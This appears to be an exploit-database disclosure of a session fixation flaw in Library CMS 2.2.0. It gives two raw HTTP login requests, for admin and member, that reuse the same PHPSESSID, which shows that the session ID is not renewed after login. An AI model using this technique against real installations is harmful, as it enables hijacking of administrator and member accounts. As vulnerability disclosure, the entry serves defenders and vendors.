Library CMS Powerful Book Management System 2.2.0 - Session Fixation

# Exploit Title: Library CMS Powerful Book Management System 2.2.0 - Session Fixation
# Date: 2020-04-22 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://kaasoft.pro/
# Software : https://codecanyon.net/item/library-cms-powerful-book-management-system/21105281
# Product Version: v2.2.0
# Product : Library CMS
# Vulernability Type : Broken Authentication
# Vulenrability : Session Fixation
# CVE : N/A

# Description :

Session Fixation vulnerability has been discovered in v2.2.0
version of Library CMS Powerful Book Management System.

Admin HTTP Request :

POST /admin/login HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://XXX.XXX.XXX.XXX/admin/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: activeLanguage=en_US; PHPSESSID=nfj6gk1murk6jq47lpk5cv7qq6; activeLanguage=en_US; _ym_uid=1579299191562269050; _ym_d=1579299191; _ym_visorc_46947615=w; _ym_isad=2
Upgrade-Insecure-Requests: 1

login=USERNAME&password=PASSWORD

Member HTTP Request :

POST /admin/login HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://XXX.XXX.XXX.XXX/admin/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Connection: close
Cookie: activeLanguage=en_US; PHPSESSID=nfj6gk1murk6jq47lpk5cv7qq6; activeLanguage=en_US; _ym_uid=1579299191562269050; _ym_d=1579299191; _ym_visorc_46947615=w; _ym_isad=2
Upgrade-Insecure-Requests: 1

login=USERNAME&password=PASSWORD